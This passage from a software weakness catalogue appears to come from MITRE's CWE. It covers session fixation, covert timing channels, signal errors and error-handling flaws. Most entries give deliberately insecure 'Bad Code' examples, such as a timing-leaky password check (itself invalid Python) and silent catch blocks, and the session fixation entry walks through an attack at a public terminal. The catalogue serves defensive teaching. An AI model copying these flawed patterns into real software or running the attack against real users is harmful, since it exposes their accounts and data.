In order to exploit the code above, an attacker could first create a session (perhaps by logging into the application) from a public terminal, record the session identifier assigned by the application, and reset the browser to the login page. Next, a victim sits down at the same public terminal, notices the browser open to the login page of the site, and enters credentials to authenticate against the application. The code responsible for authenticating the victim continues to use the pre-existing session identifier, now the attacker simply uses the session identifier recorded earlier to access the victim's active session, providing nearly unrestricted access to the victim's account for the lifetime of the session. Even given a vulnerable application, the success of the specific attack described here is dependent on several factors working in the favor of the attacker: access to an unmonitored public terminal, the ability to keep the compromised session active and a victim interested in logging into the vulnerable application on the public terminal.

In most circumstances, the first two challenges are surmountable given a sufficient investment of time. Finding a victim who is both using a public terminal and interested in logging into the vulnerable application is possible as well, so long as the site is reasonably popular. The less well known the site is, the lower the odds of an interested victim using the public terminal and the lower the chance of success for the attack vector described above. The biggest challenge an attacker faces in exploiting session fixation vulnerabilities is inducing victims to authenticate against the vulnerable application using a session identifier known to the attacker.

In the example above, the attacker did this through a direct method that is not subtle and does not scale suitably for attacks involving less well-known web sites. However, do not be lulled into complacency; attackers have many tools in their belts that help bypass the limitations of this attack vector. The most common technique employed by attackers involves taking advantage of cross-

site scripting or HTTP response splitting vulnerabilities in the target site [12]. By tricking the victim into submitting a malicious request to a vulnerable application that reflects JavaScript or other code back to the victim's browser, an attacker can create a cookie that will cause the victim to reuse a session identifier controlled by the attacker. It is worth noting that cookies are often tied to the top level domain associated with a given URL. If multiple applications reside on the same top level domain, such as bank.example.com and recipes.example.com, a vulnerability in one application can allow an attacker to set a cookie with a fixed session identifier that will be used in all interactions with any application on the domain example.com [29].

### Example 2:

The following example shows a snippet of code from a J2EE web application where the application authenticates users with a direct post to the `<code>j_security_check</code>`, which typically does not invalidate the existing session before processing the login request.

#### HTML Example:

*Bad Code*

```
<form method="POST" action="j_security_check">
  <input type="text" name="j_username">
  <input type="text" name="j_password">
</form>
```

### Potential Mitigations

#### Architecture and Design

Invalidate any existing session identifiers prior to authorizing a new user session.

#### Architecture and Design

For platforms such as ASP that do not generate new values for sessionid cookies, utilize a secondary cookie. In this approach, set a secondary cookie on the user's browser to a random value and set a session variable to the same value. If the session variable and the cookie value ever don't match, invalidate the session, and force the user to log on again.

### Other Notes

Other attack vectors include DNS poisoning and related network based attacks where an attacker causes the user to visit a malicious site by redirecting a request for a valid site. Network based attacks typically involve a physical presence on the victim's network or control of a compromised machine on the network, which makes them harder to exploit remotely, but their significance should not be overlooked. Less secure session management mechanisms, such as the default implementation in Apache Tomcat, allow session identifiers normally expected in a cookie to be specified on the URL as well, which enables an attacker to cause a victim to use a fixed session identifier simply by emailing a malicious URL.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		287	Improper Authentication	699 <b>1000</b>	507
Requires		346	Origin Validation Error	1000	602
ChildOf		361	Time and State	<b>699</b> <b>700</b>	626
Requires		441	Unintended Proxy or Intermediary ('Confused Deputy')	1000	753
Requires		472	External Control of Assumed-Immutable Web Parameter	1000	793
ChildOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	<b>711</b>	1117
ChildOf		930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	<b>928</b>	1358

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Session Fixation
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management
WASC	37		Session Fixation

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
21	Exploitation of Session Variables, Resource IDs and other Trusted Credentials	
31	Accessing/Intercepting/Modifying HTTP Cookies	
39	Manipulating Opaque Client-based Data Tokens	
59	Session Credential Falsification through Prediction	
60	Reusing Session IDs (aka Session Replay)	
61	Session Fixation	
196	Session Credential Falsification through Forging	

## CWE-385: Covert Timing Channel

Weakness ID: 385 (Weakness Base)

Status: Incomplete

### Description

#### Summary

Covert timing channels convey information by modulating some aspect of system behavior over time, so that the program receiving the information can observe system behavior and infer protected information.

#### Extended Description

In some instances, knowing when data is transmitted between parties can provide a malicious user with privileged information. Also, externally monitoring the timing of operations can potentially reveal sensitive data. For example, a cryptographic operation can expose its internal state if the time it takes to perform the operation varies, based on the state.

Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Confidentiality

##### Other

##### Read application data

##### Other

Information exposure.

#### Likelihood of Exploit

Medium

#### Demonstrative Examples

##### Python Example:

*Bad Code*

```
def validate_password(actual_pw, typed_pw):
    if len(actual_pw) <> len(typed_pw):
        return 0
    for i in len(actual_pw):
        if actual_pw[i] <> typed_pw[i]:
            return 0
    return 1
```

In this example, the attacker can observe how long an authentication takes when the user types in the correct password. When the attacker tries his own values, he can first try strings of various length. When he finds a string of the right length, the computation will take a bit longer because the for loop will run at least once. Additionally, with this code, the attacker can possibly learn one character of the password at a time, because when he guesses the first character right, the computation will take longer than when he guesses wrong. Such an attack can break even the most sophisticated password with a few hundred guesses. Note that, in this example, the actual

password must be handled in constant time, as far as the attacker is concerned, even if the actual password is of an unusual length. This is one reason why it is good to use an algorithm that, among other things, stores a seeded cryptographic one-way hash of the password, then compare the hashes, which will always be of the same length.

### Potential Mitigations

#### Architecture and Design

Whenever possible, specify implementation strategies that do not introduce time variances in operations.

#### Implementation

Often one can artificially manipulate the time which operations take or -- when operations occur -- can remove information from the attacker.

#### Implementation

It is reasonable to add artificial or random delays so that the amount of CPU time consumed is independent of the action being taken by the application.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		361	Time and State	699	626
ChildOf		514	Covert Channel	699	858
ChildOf		968	SFP Secondary Cluster: Covert Channel	1000	1380
				888	

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Timing
CLASP	Covert Timing Channel

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
462	Cross-Domain Search Timing	

## CWE-386: Symbolic Name not Mapping to Correct Object

Weakness ID: 386 (Weakness Base)

Status: Draft

### Description

#### Summary

A constant symbolic reference to an object is used, even though the reference can resolve to a different object over time.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Access Control

##### Gain privileges / assume identity

The attacker can gain access to otherwise unauthorized resources.

**Integrity**

**Confidentiality**

**Other**

**Modify application data**

**Modify files or directories**

**Read application data**

**Read files or directories**

**Other**

Race conditions such as this kind may be employed to gain read or write access to resources not normally readable or writable by the user in question.

**Integrity**

**Other**

**Modify application data**

**Other**

The resource in question, or other resources (through the corrupted one) may be changed in undesirable ways by a malicious user.

**Non-Repudiation**

**Hide activities**

If a file or other resource is written in this method, as opposed to a valid way, logging of the activity may not occur.

**Non-Repudiation**

**Integrity**

**Modify files or directories**

In some cases it may be possible to delete files that a malicious user might not otherwise have access to -- such as log files.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		361	Time and State	<b>699</b>	626
PeerOf		367	Time-of-check Time-of-use (TOCTOU) Race Condition	1000	642
PeerOf		486	Comparison of Classes by Name	1000	820
PeerOf		610	Externally Controlled Reference to a Resource in Another Sphere	1000	957
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	<b>1000</b>	1106
ChildOf		980	SFP Secondary Cluster: Link in Resource Name Resolution	<b>888</b>	1384
RequiredBy		61	<i>UNIX Symbolic Link (Symlink) Following</i>	<i>1000</i>	<i>95</i>

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
CLASP	Symbolic name not mapping to correct object

## CWE-387: Signal Errors

Category ID: 387 (Category) Status: Incomplete

**Description**

**Summary**

Weaknesses in this category are related to the improper handling of signals.

**Applicable Platforms**

**Languages**

- C
- C++

**Observed Examples**

Reference	Description
CVE-1999-1224	SIGABRT (abort) signal not properly handled, causing core dump.
CVE-1999-1326	Interruption of operation causes signal to be handled incorrectly, leading to crash.



Reference	Description
CVE-1999-1441	Kernel does not prevent users from sending SIGIO signal, which causes crash in applications that do not handle it. Overlaps privileges.
CVE-2000-0747	Script sends wrong signal to a process and kills it.
CVE-2001-1180	Shared signal handlers not cleared when executing a process. Overlaps initialization error.
CVE-2002-0839	SIGUSR1 can be sent as root from non-root process.
CVE-2002-2039	unhandled SIGSERV signal allows core dump
CVE-2004-1014	Remote attackers cause a crash using early connection termination, which generates SIGPIPE signal.
CVE-2004-2069	Privileged process does not properly signal unprivileged process after session termination, leading to connection consumption.
CVE-2004-2259	SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free. Possibly signal handler race condition?
CVE-2005-0893	Certain signals implemented with unsafe library calls.
CVE-2005-2377	Library does not handle a SIGPIPE signal when a server becomes available during a search query. Overlaps unchecked error condition?

### Relationships

Nature	Type	ID	Name	✓	Page
ChildOf	<b>C</b>	361	Time and State	<b>699</b>	626
ChildOf	<b>C</b>	634	Weaknesses that Affect System Processes	<b>631</b>	982
ParentOf	<b>B</b>	364	<a href="#">Signal Handler Race Condition</a>	699	635

### Affected Resources

- System Process

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Signal Errors

### Maintenance Notes

Several sub-categories could exist, but this needs more study. Some sub-categories might be unhandled signals, untrusted signals, and sending the wrong signals.

## CWE-388: Error Handling

Category ID: 388 (Category) Status: Draft

### Description

#### Summary

This category includes weaknesses that occur when an application does not properly handle errors that occur during processing.

#### Extended Description

An attacker may discover this type of error, as forcing these errors can occur with a variety of corrupt input.

### Common Consequences

#### Integrity

#### Confidentiality

#### Read application data

#### Modify files or directories

Generally, the consequences of improper error handling are the disclosure of the internal workings of the application to the attacker, providing details to use in further attacks. Web applications that do not properly handle error conditions frequently generate error messages such as stack traces, detailed diagnostics, and other inner details of the application.

### Demonstrative Examples

In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

**Java Example:**

Bad Code

```

Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    }
    catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
    }
}

```

**Potential Mitigations**

Use a standard exception handling mechanism to be sure that your application properly handles all types of processing errors. All error messages sent to the user should contain as little detail as necessary to explain what happened.

If the error was caused by unexpected and likely malicious input, it may be appropriate to send the user no error message other than a simple "could not process the request" response.

The details of the error and its cause should be recorded in a detailed diagnostic log for later analysis. Do not allow the application to throw errors up to the application container, generally the web application server.

Be sure that the container is properly configured to handle errors if you choose to let any errors propagate up to it.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	18	Source Code	<b>699</b>	17
ChildOf	<b>C</b>	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	<b>711</b>	1119
ParentOf	<b>C</b>	389	<i>Error Conditions, Return Values, Status Codes</i>	<b>699</b>	670
ParentOf	<b>B</b>	391	<i>Unchecked Error Condition</i>	<b>700</b>	675
ParentOf	<b>B</b>	395	<i>Use of NullPointerException Catch to Detect NULL Pointer Dereference</i>	<b>700</b>	680
ParentOf	<b>B</b>	396	<i>Declaration of Catch for Generic Exception</i>	<b>700</b>	682
ParentOf	<b>B</b>	397	<i>Declaration of Throws for Generic Exception</i>	<b>700</b>	683
ParentOf	<b>B</b>	544	<i>Missing Standardized Error Handling Mechanism</i>	<b>699</b>	883
ParentOf	<b>B</b>	600	<i>Uncaught Exception in Servlet</i>	<b>699</b>	941
PeerOf	<b>B</b>	619	<i>Dangling Database Cursor ('Cursor Injection')</i>	1000	966
ParentOf	<b>C</b>	636	<i>Not Failing Securely ('Failing Open')</i>	699	983
MemberOf	<input checked="" type="checkbox"/>	700	<i>Seven Pernicious Kingdoms</i>	<b>700</b>	1081
ParentOf	<b>C</b>	754	<i>Improper Check for Unusual or Exceptional Conditions</i>	<b>699</b>	1143
ParentOf	<b>C</b>	756	<i>Missing Custom Error Page</i>	<b>699</b>	1151

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Error Handling
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
28	Fuzzing	
214	Fuzzing for garnering J2EE/.NET-based stack traces, for application mapping	

**References**

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 11: Failure to Handle Errors Correctly." Page 183. McGraw-Hill. 2010.

**CWE-389: Error Conditions, Return Values, Status Codes**

Category ID: 389 (Category)

Status: Incomplete

Description

**Summary**

If a function in a product does not generate the correct return/status codes, or if the product does not handle all possible return/status codes that could be generated by a function, then security issues may result.

**Extended Description**

This type of problem is most often found in conditions that are rarely encountered during the normal operation of the product. Presumably, most bugs related to common conditions are found and eliminated during development and testing. In some cases, the attacker can directly control or influence the environment to trigger the rare conditions.

**Applicable Platforms****Languages**

- All

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	√	Page
ChildOf	<b>C</b>	388	Error Handling	<b>699</b>	669
ParentOf	<b>B</b>	248	Uncaught Exception	699	438
ParentOf	<b>B</b>	252	Unchecked Return Value	699	446
ParentOf	<b>B</b>	253	Incorrect Check of Function Return Value	699	451
ParentOf	<b>G</b>	390	Detection of Error Condition Without Action	<b>699</b>	671
ParentOf	<b>B</b>	391	Unchecked Error Condition	<b>699</b>	675
ParentOf	<b>B</b>	392	Missing Report of Error Condition	<b>699</b>	677
ParentOf	<b>B</b>	393	Return of Wrong Status Code	<b>699</b>	678
ParentOf	<b>B</b>	394	Unexpected Status Code or Return Value	<b>699</b>	679
ParentOf	<b>B</b>	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference	<b>699</b>	680
ParentOf	<b>B</b>	396	Declaration of Catch for Generic Exception	<b>699</b>	682
ParentOf	<b>B</b>	397	Declaration of Throws for Generic Exception	<b>699</b>	683
ParentOf	<b>B</b>	584	Return Inside Finally Block	<b>699</b>	924

**Research Gaps**

Many researchers focus on the resultant weaknesses and do not necessarily diagnose whether a rare condition is the primary factor. However, since 2005 it seems to be reported more frequently than in the past. This subject needs more study.

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Error Conditions, Return Values, Status Codes

**CWE-390: Detection of Error Condition Without Action**

Weakness ID: 390 (Weakness Class)

Status: Draft

**Description****Summary**

The software detects a specific error, but takes no actions to handle the error.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences**

**Integrity****Other****Varies by context****Unexpected state****Alter execution logic**

An attacker could utilize an ignored error condition to place the system in an unexpected state that could lead to the execution of unintended logic and could cause other unintended behavior.

**Likelihood of Exploit**

Medium

**Demonstrative Examples****Example 1:**

The following example attempts to allocate memory for a character. After the call to malloc, an if statement is used to check whether the malloc function failed.

**C Example:***Bad Code*

```
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
    //We do nothing so we just ignore the error.
}
```

The conditional successfully detects a NULL return value from malloc indicating a failure, however it does not do anything to handle the problem. Unhandled errors may have unexpected results and may cause the program to crash or terminate.

Instead, the if block should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following example notifies the user that the malloc function did not allocate the required memory resources and returns an error code.

**C Example:***Good Code*

```
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
    printf("Malloc failed to allocate memory resources");
    return -1;
}
```

**Example 2:**

In the following C++ example the method readfile() will read the file whose name is provided in the input parameter and will return the contents of the file in char string. The method calls open() and read() may result in errors if the file does not exist or does not contain any data to read. These errors will be thrown when the is\_open() method and good() method indicate errors opening or reading the file. However, these errors are not handled within the catch statement. Catch statements that do not perform any processing will have unexpected results. In this case an empty char string will be returned, and the file will not be properly closed.

**C++ Example:***Bad Code*

```
char* readfile (char *filename) {
    try {
        // open input file
        ifstream infile;
        infile.open(filename);
        if (!infile.is_open()) {
            throw "Unable to open file " + filename;
        }
        // get length of file
        infile.seekg (0, ios::end);
        int length = infile.tellg();
        infile.seekg (0, ios::beg);
        // allocate memory
        char *buffer = new char [length];
        // read data from file
        infile.read (buffer,length);
        if (!infile.good()) {
```

```

        throw "Unable to read from file " + filename;
    }
    infile.close();
    return buffer;
}
catch (...) {
    /* bug: insert code to handle this later */
}
}

```

The catch statement should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following C++ example contains two catch statements. The first of these will catch a specific error thrown within the try block, and the second catch statement will catch all other errors from within the catch block. Both catch statements will notify the user that an error has occurred, close the file, and rethrow to the block that called the readfile() method for further handling or possible termination of the program.

**C++ Example:***Good Code*

```

char* readfile (char *filename) {
    try {
        // open input file
        ifstream infile;
        infile.open(filename);
        if (!infile.is_open()) {
            throw "Unable to open file " + filename;
        }
        // get length of file
        infile.seekg (0, ios::end);
        int length = infile.tellg();
        infile.seekg (0, ios::beg);
        // allocate memory
        char *buffer = new char [length];
        // read data from file
        infile.read (buffer,length);
        if (!infile.good()) {
            throw "Unable to read from file " + filename;
        }
        infile.close();
        return buffer;
    }
    catch (char *str) {
        printf("Error: %s \n", str);
        infile.close();
        throw str;
    }
    catch (...) {
        printf("Error occurred trying to read from file \n");
        infile.close();
        throw;
    }
}
}

```

**Example 3:**

In the following Java example the method readfile will read the file whose name is provided in the input parameter and will return the contents of the file in a String object. The constructor of the FileReader object and the read method call may throw exceptions and therefore must be within a try/catch block. While the catch statement in this example will catch thrown exceptions in order for the method to compile, no processing is performed to handle the thrown exceptions. Catch statements that do not perform any processing will have unexpected results. In this case, this will result in the return of a null String.

**Java Example:***Bad Code*

```

public String readfile(String filename) {
    String retString = null;
    try {

```

```

// initialize File and FileReader objects
File file = new File(filename);
FileReader fr = new FileReader(file);
// initialize character buffer
long fLen = file.length();
char[] cBuf = new char[(int) fLen];
// read data from file
int iRead = fr.read(cBuf, 0, (int) fLen);
// close file
fr.close();
retString = new String(cBuf);
} catch (Exception ex) {
    /* do nothing, but catch so it'll compile... */
}
return retString;
}

```

The catch statement should contain statements that either attempt to fix the problem, notify the user that an exception has been raised and continue processing, or perform some cleanup and gracefully terminate the program. The following Java example contains three catch statements. The first of these will catch the `FileNotFoundException` that may be thrown by the `FileReader` constructor called within the try/catch block. The second catch statement will catch the `IOException` that may be thrown by the `read` method called within the try/catch block. The third catch statement will catch all other exceptions thrown within the try block. For all catch statements the user is notified that the exception has been thrown and the exception is rethrown to the block that called the `readFile()` method for further processing or possible termination of the program. Note that with Java it is usually good practice to use the `getMessage()` method of the exception class to provide more information to the user about the exception raised.

#### Java Example:

*Good Code*

```

public String readFile(String filename) throws FileNotFoundException, IOException, Exception {
    String retString = null;
    try {
        // initialize File and FileReader objects
        File file = new File(filename);
        FileReader fr = new FileReader(file);
        // initialize character buffer
        long fLen = file.length();
        char [] cBuf = new char[(int) fLen];
        // read data from file
        int iRead = fr.read(cBuf, 0, (int) fLen);
        // close file
        fr.close();
        retString = new String(cBuf);
    } catch (FileNotFoundException ex) {
        System.err.println ("Error: FileNotFoundException opening the input file: " + filename );
        System.err.println (" " + ex.getMessage() );
        throw new FileNotFoundException(ex.getMessage());
    } catch (IOException ex) {
        System.err.println("Error: IOException reading the input file.\n" + ex.getMessage() );
        throw new IOException(ex);
    } catch (Exception ex) {
        System.err.println("Error: Exception reading the input file.\n" + ex.getMessage() );
        throw new Exception(ex);
    }
    return retString;
}

```

### Potential Mitigations

#### Implementation

Properly handle each exception. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

### Implementation

If a function returns an error, it is important to either fix the problem and try again, alert the user that an error has happened and let the program continue, or alert the user and close and cleanup the program.

### Testing

Subject the software to extensive testing to discover some of the possible instances of where/how errors or return values are not handled. Consider testing techniques such as ad hoc, equivalence partitioning, robustness and fault tolerance, mutation, and fuzzing.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	389	Error Conditions, Return Values, Status Codes	<b>699</b>	670
CanPrecede	<b>B</b>	401	Improper Release of Memory Before Removing Last Reference ('Memory Leak')	1000	694
ChildOf	<b>C</b>	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	<b>711</b>	1119
ChildOf	<b>G</b>	755	Improper Handling of Exceptional Conditions	<b>1000</b>	1150
ChildOf	<b>C</b>	851	CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)	<b>844</b>	1294
ChildOf	<b>C</b>	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	<b>868</b>	1317
ChildOf	<b>C</b>	962	SFP Secondary Cluster: Unchecked Status Condition	<b>888</b>	1376
CanAlsoBe	<b>V</b>	81	<i>Improper Neutralization of Script in an Error Message Web Page</i>	1000	144
PeerOf	<b>B</b>	600	<i>Uncaught Exception in Servlet</i>	1000	941
MemberOf	<b>V</b>	884	<i>CWE Cross-section</i>	<b>884</b>	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Improper error handling
CERT Java Secure Coding	ERR00-J	Do not suppress or ignore checked exceptions
CERT C++ Secure Coding	ERR39-CPP	Guarantee exception safety
Software Fault Patterns	SFP4	Unchecked Status Condition

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
7	Blind SQL Injection	
66	SQL Injection	
83	XPath Injection	
250	XML Injection	

### References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 11: Failure to Handle Errors Correctly." Page 183. McGraw-Hill. 2010.

## CWE-391: Unchecked Error Condition

Weakness ID: 391 (Weakness Base)

Status: Incomplete

### Description

#### Summary

Ignoring exceptions and other error conditions may allow an attacker to induce unexpected behavior unnoticed.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All



## Common Consequences

Integrity

Other

Varies by context

Unexpected state

Alter execution logic

## Likelihood of Exploit

Medium

## Demonstrative Examples

The following code excerpt ignores a rarely-thrown exception from doExchange().

### Java Example:

*Bad Code*

```
try {
    doExchange();
}
catch (RareException e) {
    // this can never happen
}
```

If a RareException were to ever be thrown, the program would continue to execute as though nothing unusual had occurred. The program records no evidence indicating the special situation, potentially frustrating any later attempt to explain the program's behavior.

## Potential Mitigations

### Requirements

The choice between a language which has named or unnamed exceptions needs to be done. While unnamed exceptions exacerbate the chance of not properly dealing with an exception, named exceptions suffer from the up call version of the weak base class problem.

### Requirements

A language can be used which requires, at compile time, to catch all serious exceptions. However, one must make sure to use the most current version of the API as new exceptions could be added.

### Implementation

Catch all relevant exceptions. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

## Other Notes

When a programmer ignores an exception, they implicitly state that they are operating under one of two assumptions:

This method call can never fail.

It doesn't matter if this call fails.

## Relationships

Nature	Type	ID	Name	📄	Page
ChildOf	🔴	388	Error Handling	<b>700</b>	669
ChildOf	🔴	389	Error Conditions, Return Values, Status Codes	<b>699</b>	670
ChildOf	🟢	703	Improper Check or Handling of Exceptional Conditions	<b>1000</b>	1102
ChildOf	🔴	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	<b>711</b>	1119
ChildOf	🔴	743	CERT C Secure Coding Section 09 - Input Output (FIO)	<b>734</b>	1135
ChildOf	🔴	746	CERT C Secure Coding Section 12 - Error Handling (ERR)	734	1136
ChildOf	🔴	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1314
ChildOf	🔴	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1315
ChildOf	🔴	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	<b>868</b>	1317
ChildOf	🔴	962	SFP Secondary Cluster: Unchecked Status Condition	<b>888</b>	1376
MemberOf	📄	630	<i>Weaknesses Examined by SAMATE</i>	<b>630</b>	980

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unchecked Return Value
7 Pernicious Kingdoms			Empty Catch Block
CLASP			Uncaught exception
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling
CERT C Secure Coding	ERR00-C		Adopt and implement a consistent and comprehensive error-handling policy
CERT C Secure Coding	FIO04-C		Detect and handle input and output errors
CERT C Secure Coding	FIO33-C		Detect and handle input output errors resulting in undefined behavior
CERT C++ Secure Coding	MEM32-CPP		Detect and handle memory allocation errors
CERT C++ Secure Coding	FIO04-CPP		Detect and handle input and output errors
CERT C++ Secure Coding	FIO33-CPP		Detect and handle input output errors resulting in undefined behavior
CERT C++ Secure Coding	ERR00-CPP		Adopt and implement a consistent and comprehensive error-handling policy
CERT C++ Secure Coding	ERR10-CPP		Check for error conditions
Software Fault Patterns	SFP4		Unchecked Status Condition

### White Box Definitions

A weakness where code path has:

1. start statement that changes a state of the system resource
2. end statement that accesses the system resource, where the changed and the assumed state of the system resource are not equal.
3. the state of the resource is not compatible with the type of access being performed by the end statement

### Maintenance Notes

This entry needs significant modification. It currently combines information from three different taxonomies, but each taxonomy is talking about a slightly different issue.

## CWE-392: Missing Report of Error Condition

Weakness ID: 392 (*Weakness Base*)

Status: Draft

### Description

#### Summary

The software encounters an error but does not provide a status code or return value to indicate that an error has occurred.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

#### Other

#### Varies by context

#### Unexpected state

Errors that are not properly reported could place the system in an unexpected state that could lead to unintended behaviors.

### Demonstrative Examples

In the following snippet from a doPost() servlet method, the server returns "200 OK" (default) even if an error occurs.

**Java Example:***Bad Code*

```
try {
    // Something that may throw an exception.
    ...
} catch (Throwable t) {
    logger.error("Caught: " + t.toString());
    return;
}
```

**Observed Examples**

Reference	Description
CVE-2002-0499	Kernel function truncates long pathnames without generating an error, leading to operation on wrong directory.
CVE-2002-1446	Error checking routine in PKCS#11 library returns "OK" status even when invalid signature is detected, allowing spoofed messages.
CVE-2004-0063	Function returns "OK" even if another function returns a different status code than expected, leading to accepting an invalid PIN number.
CVE-2005-2459	Function returns non-error value when a particular erroneous condition is encountered, leading to resultant NULL dereference.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	C	389	Error Conditions, Return Values, Status Codes	699	670
ChildOf	B	684	Incorrect Provision of Specified Functionality	1000	1065
ChildOf	G	703	Improper Check or Handling of Exceptional Conditions	1000	1102
ChildOf	C	855	CERT Java Secure Coding Section 10 - Thread Pools (TPS)	844	1295
ChildOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	1376
MemberOf	V	884	CWE Cross-section	884	1319

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Missing Error Status Code
CERT Java Secure Coding Software Fault Patterns	TPS03-J	Ensure that tasks executing in a thread pool do not fail silently
	SFP6	Incorrect Exception Behavior

## CWE-393: Return of Wrong Status Code

Weakness ID: 393 (Weakness Base)

Status: Draft

**Description****Summary**

A function or operation returns an incorrect return value or status code that does not indicate an error, but causes the product to modify its behavior based on the incorrect result.

**Extended Description**

This can lead to unpredictable behavior. If the function is used to make security-critical decisions or provide security-critical information, then the wrong status code can cause the software to assume that an action is safe, even when it is not.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- All

## Common Consequences

Integrity

Other

Unexpected state

Alter execution logic

This weakness could place the system in a state that could lead unexpected logic to be executed or other unintended behaviors.

## Demonstrative Examples

In the following example, an HTTP 404 status code is returned in the event of an IOException encountered in a Java servlet. A 404 code is typically meant to indicate a non-existent resource and would be somewhat misleading in this case.

**Java Example:**

*Bad Code*

```
try {
    // something that might throw IOException
    ...
} catch (IOException ioe) {
    response.sendError(SC_NOT_FOUND);
}
```

## Observed Examples

Reference	Description
CVE-2001-1509	Hardware-specific implementation of system call causes incorrect results from geteuid.
CVE-2001-1559	System call returns wrong value, leading to a resultant NULL dereference.
CVE-2003-1132	DNS server returns wrong response code for non-existent AAAA record, which effectively says that the domain is inaccessible.
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing man-in-the-middle attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle')).

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		389	Error Conditions, Return Values, Status Codes	<b>699</b>	670
ChildOf		684	Incorrect Provision of Specified Functionality	<b>1000</b>	1065
ChildOf		703	Improper Check or Handling of Exceptional Conditions	<b>1000</b>	1102
ChildOf		961	SFP Secondary Cluster: Incorrect Exception Behavior	<b>888</b>	1376
MemberOf		884	<i>CWE Cross-section</i>	<b>884</b>	1319

## Relationship Notes

This can be primary or resultant, but it is probably most often primary to other issues.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Wrong Status Code
Software Fault Patterns	SFP6	Incorrect Exception Behavior

## Maintenance Notes

This probably overlaps various categories, especially those related to error handling.

# CWE-394: Unexpected Status Code or Return Value

Weakness ID: 394 (*Weakness Base*)

Status: Draft

## Description

### Summary

The software does not properly check when a function or operation returns a value that is legitimate for the function, but is not expected by the software.

### Time of Introduction

- Architecture and Design

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

#### Other






#### Unexpected state

